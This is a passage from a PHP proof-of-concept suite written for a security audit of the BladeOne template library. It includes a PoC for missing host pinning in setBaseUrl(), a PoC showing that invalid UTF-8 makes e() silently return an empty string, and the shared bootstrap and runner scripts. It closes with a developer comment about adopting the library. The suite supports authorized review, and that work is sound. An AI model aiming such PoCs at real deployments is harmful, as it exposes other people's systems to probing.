bo_title('Mitigation: setBaseUrl() pins baseDomain');
$b->setBaseUrl('https://trusted.example');
bo_note('after setBaseUrl("https://trusted.example"), host is pinned to the configured domain');
bo_safe('developers must call setBaseUrl(); the library does not pin the host by default');

poc/08_invalid_utf8_dataloss.php

<?php
/**
 * Finding X3 — e() drops the whole value on invalid UTF-8 (Low; correctness/availability).
 * echoFormat/e() call htmlentities(... 'UTF-8' ...) WITHOUT ENT_SUBSTITUTE/ENT_IGNORE,
 * so a single invalid byte makes the ENTIRE escaped value become "". Fails closed (XSS-safe)
 * but silently loses data. Report: §1.2 (X3).
 */
require __DIR__ . '/_bootstrap.php';

use eftec\bladeone\BladeOne;

[$b] = bo_make('utf8');

bo_title('e() / {{ }} on a string containing one invalid UTF-8 byte');
$bad = "important data \xC3\x28 more data";   // \xC3\x28 is an invalid UTF-8 sequence
$viaStatic = BladeOne::e($bad);
$viaEcho   = $b->runString('{{ $x }}', ['x' => $bad]);
bo_note('input length: ' . strlen($bad) . ' bytes');
bo_note('e() output:        ' . var_export($viaStatic, true));
bo_note('{{ $x }} output:   ' . var_export($viaEcho, true));
if ($viaStatic === '' && $viaEcho === '') {
    bo_pass('the entire value silently vanishes (no ENT_SUBSTITUTE) — data loss');
}

bo_title('Contrast: htmlspecialchars + ENT_SUBSTITUTE would preserve the rest');
bo_note('expected w/ ENT_SUBSTITUTE: ' . var_export(htmlspecialchars($bad, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'), true));

poc/_bootstrap.php

<?php
/**
 * Shared bootstrap for the BladeOne PoC suite.
 * Audited target: eftec/bladeone 4.19.1  (lib/BladeOne.php)
 *
 * These PoCs demonstrate the findings in BladeOne_Security_Audit.md against a
 * local checkout. They are for authorized security review / education only.
 */
error_reporting(E_ALL & ~E_DEPRECATED);

define('BO_LIB', __DIR__ . '/../BladeOne/lib');
require_once BO_LIB . '/BladeOne.php';

use eftec\bladeone\BladeOne;

/** Fresh, isolated template + compiled dirs per PoC run. */
function bo_make(string $tag = 'poc'): array
{
    $base = sys_get_temp_dir() . '/bo_poc_' . $tag . '_' . getmypid();
    $tpl = $base . '/templates';
    $cmp = $base . '/compiled';
    @mkdir($tpl, 0775, true);
    @mkdir($cmp, 0775, true);
    $blade = new BladeOne($tpl, $cmp, BladeOne::MODE_DEBUG);
    return [$blade, $tpl, $cmp];
}

function bo_title(string $s): void
{
    fwrite(STDOUT, "\n\033[1;36m== $s ==\033[0m\n");
}
function bo_pass(string $s): void { fwrite(STDOUT, "  \033[1;31m[VULNERABLE]\033[0m $s\n"); }
function bo_safe(string $s): void { fwrite(STDOUT, "  \033[1;32m[OK/SAFE] \033[0m $s\n"); }
function bo_note(string $s): void { fwrite(STDOUT, "  - $s\n"); }

poc/run_all.sh

#!/usr/bin/env bash
# Runs every PoC against the local BladeOne checkout.
# Requires a PHP with the tokenizer + mbstring extensions (php8.1 used here).
set -u
PHP="${PHP:-php8.1}"
cd "$(dirname "$0")"
echo "Using: $($PHP -v | head -1)"
echo "Target: $($PHP -r 'require "../BladeOne/lib/BladeOne.php"; echo "BladeOne ".eftec\bladeone\BladeOne::VERSION;')"
for f in $(ls [0-9]*.php | sort); do
  echo ""
  echo "############################################################"
  echo "# $f"
  echo "############################################################"
  $PHP "$f"
done
echo ""
echo "Done. See ../BladeOne_Security_Audit.md for the write-up."

[alexander-zierhut]

Good news! The project is still active, they just don't have any features to add. Let's give it a simple review, check out how to integrate it and possibly commit a bit upstream, then make it our new render engine, fully replacing our old one.